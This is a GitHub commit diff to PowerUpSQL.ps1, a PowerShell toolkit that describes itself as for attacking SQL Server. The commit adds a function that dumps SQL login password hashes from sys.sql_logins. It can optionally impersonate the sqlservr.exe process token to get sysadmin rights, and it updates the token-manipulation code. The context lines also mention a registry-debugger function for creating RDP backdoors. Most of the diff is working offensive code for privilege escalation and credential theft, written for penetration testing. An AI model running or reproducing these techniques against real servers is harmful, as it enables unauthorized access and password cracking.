Skip to content

Commit 7f2b362

Browse files
authored
Add Get-SQLServerPasswordHash from @m7x
Add Get-SQLServerPasswordHash from @m7x (fixes added) Update Invoke-TokenManipulation (verbose output) Update Get-SQLServiceLocal (verbose output)
1 parent a3b1fda commit 7f2b362

1 file changed

Lines changed: 273 additions & 15 deletions

File tree

PowerUpSQL.ps1

Lines changed: 273 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -2,8 +2,8 @@
22
<#
33
File: PowerUpSQL.ps1
44
Author: Scott Sutherland (@_nullbind), NetSPI - 2016
5-
Contributors: Antti Rantasaari and Eric Gruber
6-
Version: 1.0.0.65
5+
Major Contributors: Antti Rantasaari and Eric Gruber
6+
Version: 1.0.0.66
77
Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server.
88
License: BSD 3-Clause
99
Required Dependencies: PowerShell v.2
@@ -8900,10 +8900,6 @@ Function Get-ComputerNameFromInstance
89008900
}
89018901

89028902

8903-
# -------------------------------------------
8904-
# Function: Get-SQLServiceLocal
8905-
# -------------------------------------------
8906-
# Author: Scott Sutherland
89078903
Function Get-SQLServiceLocal
89088904
{
89098905
<#
@@ -8951,7 +8947,10 @@ Function Get-SQLServiceLocal
89518947
ValueFromPipeline = $true,
89528948
ValueFromPipelineByPropertyName = $true,
89538949
HelpMessage = 'Filter for running services.')]
8954-
[switch]$RunOnly
8950+
[switch]$RunOnly,
8951+
[Parameter(Mandatory = $false,
8952+
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
8953+
[switch]$SuppressVerbose
89558954
)
89568955
Begin
89578956
{
@@ -9037,7 +9036,10 @@ Function Get-SQLServiceLocal
90379036
{
90389037
# Status User
90399038
$LocalInstanceCount = $TblLocalInstances.rows.count
9040-
Write-Verbose "$LocalInstanceCount local SQL Server services were found that matched the criteria."
9039+
9040+
if(-not $SuppressVerbose){
9041+
Write-Verbose "$LocalInstanceCount local SQL Server services were found that matched the criteria."
9042+
}
90419043

90429044
# Return data
90439045
$TblLocalInstances
@@ -11088,6 +11090,249 @@ Function Get-SQLRecoverPwAutoLogon
1108811090
$TblWinAutoCreds
1108911091
}
1109011092
}
11093+
11094+
11095+
# ----------------------------------
11096+
# Get-SQLServerPasswordHash
11097+
# ----------------------------------
11098+
# Author: Mike Manzotti (@mmanzo_)
11099+
Function Get-SQLServerPasswordHash
11100+
{
11101+
<#
11102+
.SYNOPSIS
11103+
Returns logins from target SQL Servers.
11104+
.PARAMETER Username
11105+
SQL Server or domain account to authenticate with.
11106+
.PARAMETER Password
11107+
SQL Server or domain account password to authenticate with.
11108+
.PARAMETER Credential
11109+
SQL Server credential.
11110+
.PARAMETER Instance
11111+
SQL Server instance to connection to.
11112+
.PARAMETER PrincipalName
11113+
Pincipal name to filter for.
11114+
.PARAMETER
11115+
Migrate to SQL Server process.
11116+
.EXAMPLE
11117+
PS C:\> Get-SQLServerPasswordHash -Instance SQLServer1\STANDARDDEV2014 | Select-Object -First 1
11118+
11119+
ComputerName : SQLServer1
11120+
Instance : SQLServer1\STANDARDDEV2014
11121+
PrincipalId : 1
11122+
PrincipalName : sa
11123+
PrincipalSid : 7F883D1B...
11124+
PrincipalType : SQL_LOGIN
11125+
CreateDate : 19/03/2017 08:16:57
11126+
DefaultDatabaseName : master
11127+
PasswordHash : 0x0200c8...
11128+
.EXAMPLE
11129+
PS C:\> Get-SQLInstanceLocal | Get-SQLServerPasswordHash -Verbose
11130+
#>
11131+
[CmdletBinding()]
11132+
Param(
11133+
[Parameter(Mandatory = $false,
11134+
ValueFromPipelineByPropertyName = $true,
11135+
HelpMessage = 'SQL Server or domain account to authenticate with.')]
11136+
[string]$Username,
11137+
11138+
[Parameter(Mandatory = $false,
11139+
ValueFromPipelineByPropertyName = $true,
11140+
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
11141+
[string]$Password,
11142+
11143+
[Parameter(Mandatory = $false,
11144+
HelpMessage = 'Windows credentials.')]
11145+
[System.Management.Automation.PSCredential]
11146+
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
11147+
11148+
[Parameter(Mandatory = $false,
11149+
ValueFromPipelineByPropertyName = $true,
11150+
HelpMessage = 'SQL Server instance to connection to.')]
11151+
[string]$Instance,
11152+
11153+
[Parameter(Mandatory = $false,
11154+
ValueFromPipeline = $true,
11155+
ValueFromPipelineByPropertyName = $true,
11156+
HelpMessage = 'Principal name to filter for.')]
11157+
[string]$PrincipalName,
11158+
11159+
[Parameter(Mandatory = $false,
11160+
HelpMessage = 'Migrate to SQL Server process.')]
11161+
[switch]$Migrate,
11162+
11163+
[Parameter(Mandatory = $false,
11164+
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
11165+
[switch]$SuppressVerbose
11166+
)
11167+
11168+
Begin
11169+
{
11170+
# Table for output
11171+
$TblPasswordHashes = New-Object -TypeName System.Data.DataTable
11172+
$null = $TblPasswordHashes.Columns.Add('ComputerName')
11173+
$null = $TblPasswordHashes.Columns.Add('Instance')
11174+
$null = $TblPasswordHashes.Columns.Add('PrincipalId')
11175+
$null = $TblPasswordHashes.Columns.Add('PrincipalName')
11176+
$null = $TblPasswordHashes.Columns.Add('PrincipalSid')
11177+
$null = $TblPasswordHashes.Columns.Add('PrincipalType')
11178+
$null = $TblPasswordHashes.Columns.Add('CreateDate')
11179+
$null = $TblPasswordHashes.Columns.Add('DefaultDatabaseName')
11180+
$null = $TblPasswordHashes.Columns.Add('PasswordHash')
11181+
11182+
# Setup CredentialName filter
11183+
if($PrincipalName)
11184+
{
11185+
$PrincipalNameFilter = " and name like '$PrincipalName'"
11186+
}
11187+
else
11188+
{
11189+
$PrincipalNameFilter = ''
11190+
}
11191+
}
11192+
11193+
Process
11194+
{
11195+
# Note: Tables queried by this function typically require sysadmin privileges.
11196+
11197+
# Parse computer name from the instance
11198+
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
11199+
11200+
# Default connection to local default instance
11201+
if(-not $Instance)
11202+
{
11203+
$Instance = $env:COMPUTERNAME
11204+
}
11205+
11206+
# Test connection to instance
11207+
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
11208+
$_.Status -eq 'Accessible'
11209+
}
11210+
11211+
if($TestConnection)
11212+
{
11213+
if( -not $SuppressVerbose)
11214+
{
11215+
Write-Verbose -Message "$Instance : Connection Success."
11216+
}
11217+
}else{
11218+
if( -not $SuppressVerbose)
11219+
{
11220+
Write-Verbose -Message "$Instance : Connection Failed."
11221+
}
11222+
11223+
# If the migrate flag is set dont't return and attempt to migrate
11224+
if($Migrate)
11225+
{
11226+
Write-Verbose -Message "$Instance : Attempting to impersonate SQL Server process..."
11227+
[int]$TargetPid = Get-SQLServiceLocal -SuppressVerbose -instance $Instance -RunOnly | Where-Object {$_.ServicePath -like "*sqlservr.exe*"} | Select-Object ServiceProcessId -ExpandProperty ServiceProcessId
11228+
if ($TargetPid -eq 0){
11229+
Write-Verbose -Message "$Instance : No process running for provided instance..."
11230+
return
11231+
}
11232+
Write-Verbose -Message "$Instance : Targeting process id $TargetPid..."
11233+
Get-Process | Where-Object {$_.id -like $TargetPid} | Invoke-TokenManipulation -Instance $Instance -ImpersonateUser | Out-Null
11234+
}else{
11235+
return
11236+
}
11237+
}
11238+
11239+
# Get sysadmin status
11240+
$IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin
11241+
11242+
if($IsSysadmin -eq 'Yes')
11243+
{
11244+
Write-Verbose -Message "$Instance : You are a sysadmin."
11245+
}
11246+
else
11247+
{
11248+
Write-Verbose -Message "$Instance : You are not a sysadmin."
11249+
if($Migrate)
11250+
{
11251+
Write-Verbose -Message "$Instance : Attempting to impersonate SQL Server process..."
11252+
[int]$TargetPid = Get-SQLServiceLocal -SuppressVerbose -instance $Instance -RunOnly | Where-Object {$_.ServicePath -like "*sqlservr.exe*"} | Select-Object ServiceProcessId -ExpandProperty ServiceProcessId
11253+
Write-Verbose -Message "$Instance : Targeting process id $TargetPid..."
11254+
Get-Process | Where-Object {$_.id -like $TargetPid} | Invoke-TokenManipulation -Instance $Instance -ImpersonateUser | Out-Null
11255+
}
11256+
11257+
}
11258+
11259+
# Check version
11260+
$SQLVersionFull = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property SQLServerVersionNumber -ExpandProperty SQLServerVersionNumber
11261+
if($SQLVersionFull)
11262+
{
11263+
$SQLVersionShort = $SQLVersionFull.Split('.')[0]
11264+
}
11265+
11266+
if([int]$SQLVersionShort -le 8)
11267+
{
11268+
11269+
# Define Query
11270+
$Query = "USE master;
11271+
SELECT '$ComputerName' as [ComputerName],'$Instance' as [Instance],
11272+
name as [PrincipalName],
11273+
createdate as [CreateDate],
11274+
dbname as [DefaultDatabaseName],
11275+
password as [PasswordHash]
11276+
FROM [sysxlogins]"
11277+
}
11278+
else
11279+
{
11280+
# Define Query
11281+
$Query = "USE master;
11282+
SELECT '$ComputerName' as [ComputerName],'$Instance' as [Instance],
11283+
name as [PrincipalName],
11284+
principal_id as [PrincipalId],
11285+
type_desc as [PrincipalType],
11286+
sid as [PrincipalSid],
11287+
create_date as [CreateDate],
11288+
default_database_name as [DefaultDatabaseName],
11289+
[sys].fn_varbintohexstr(password_hash) as [PasswordHash]
11290+
FROM [sys].[sql_logins]"
11291+
}
11292+
11293+
# Execute Query
11294+
$TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
11295+
11296+
# Update sid formatting for each record
11297+
$TblResults |
11298+
ForEach-Object -Process {
11299+
# Format principal sid
11300+
$NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','')
11301+
if ($NewSid.length -le 10)
11302+
{
11303+
$Sid = [Convert]::ToInt32($NewSid,16)
11304+
}
11305+
else
11306+
{
11307+
$Sid = $NewSid
11308+
}
11309+
11310+
# Add results to table
11311+
$null = $TblPasswordHashes.Rows.Add(
11312+
[string]$_.ComputerName,
11313+
[string]$_.Instance,
11314+
[string]$_.PrincipalId,
11315+
[string]$_.PrincipalName,
11316+
$Sid,
11317+
[string]$_.PrincipalType,
11318+
$_.CreateDate,
11319+
[string]$_.DefaultDatabaseName,
11320+
[string]$_.PasswordHash)
11321+
}
11322+
11323+
# Revert to original user context
11324+
if($Migrate){
11325+
Invoke-TokenManipulation -RevToSelf | Out-Null
11326+
}
11327+
}
11328+
11329+
End
11330+
{
11331+
# Return data
11332+
$TblPasswordHashes
11333+
}
11334+
}
11335+
1109111336
#endregion
1109211337

1109311338
#########################################################################
@@ -11301,7 +11546,7 @@ Function Get-SQLPersistRegDebugger
1130111546
.SYNOPSIS
1130211547
This function uses xp_regwrite to configure a debugger for a provided
1130311548
executable (utilman.exe by default), which will run another provided
11304-
executable (cmd.exe by default) when it’s called. It is commonly used
11549+
executable (cmd.exe by default) when it’s called. It is commonly used
1130511550
to create RDP backdoors. The specific registry key is
1130611551
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options[EXE].
1130711552
Sysadmin privileges are required.
@@ -15947,7 +16192,11 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
1594716192

1594816193
[Parameter(ParameterSetName = "CreateProcess")]
1594916194
[Switch]
15950-
$PassThru
16195+
$PassThru,
16196+
16197+
[Parameter(Mandatory = $false,ValueFromPipelineByPropertyName = $true,
16198+
HelpMessage = 'SQL Server instance to connection to.')]
16199+
[string]$Instance
1595116200
)
1595216201

1595316202
Set-StrictMode -Version 2
@@ -16837,7 +17086,11 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
1683717086
}
1683817087
else
1683917088
{
16840-
Write-Verbose "Successfully queried thread token"
17089+
if($Instance){
17090+
Write-Verbose "$Instance : Successfully queried thread token"
17091+
}else{
17092+
Write-Verbose "Successfully queried thread token"
17093+
}
1684117094
}
1684217095

1684317096
#Close the handle to hThread (the thread handle)
@@ -17562,7 +17815,12 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
1756217815
if (($Token | Get-Member ProcessId) -and $Token.ProcessId -eq $Process.Id)
1756317816
{
1756417817
$hToken = $Token.hToken
17565-
Write-Verbose "Selecting token by Process object"
17818+
17819+
if($Instance){
17820+
Write-Verbose "$Instance : Selecting token by Process object"
17821+
}else{
17822+
Write-Verbose "Selecting token by Process object"
17823+
}
1756617824
}
1756717825
}
1756817826

@@ -17646,7 +17904,7 @@ function Test-IsLuhnValid
1764617904
.OUTPUTS
1764717905
System.Boolean
1764817906
.NOTES
17649-
Author: ØYVIND KALLSTAD
17907+
Author: ØYVIND KALLSTAD
1765017908
Date: 19.02.2016
1765117909
Version: 1.0
1765217910
Dependencies: Get-LuhnCheckSum, ConvertTo-Digits
@@ -17681,7 +17939,7 @@ function Test-IsLuhnValid
1768117939
# -------------------------------------------
1768217940
# Function: ConvertTo-Digits
1768317941
# -------------------------------------------
17684-
# Author: ØYVIND KALLSTAD
17942+
# Author: ØYVIND KALLSTAD
1768517943
# Source: https://communary.net/2016/02/19/the-luhn-algorithm/
1768617944
function ConvertTo-Digits
1768717945
{
@@ -17698,7 +17956,7 @@ function ConvertTo-Digits
1769817956
https://communary.wordpress.com/
1769917957
https://github.com/gravejester/Communary.ToolBox
1770017958
.NOTES
17701-
Author: ØYVIND KALLSTAD
17959+
Author: ØYVIND KALLSTAD
1770217960
Date: 09.05.2015
1770317961
Version: 1.0
1770417962
#>

0 commit comments

Comments
 (0)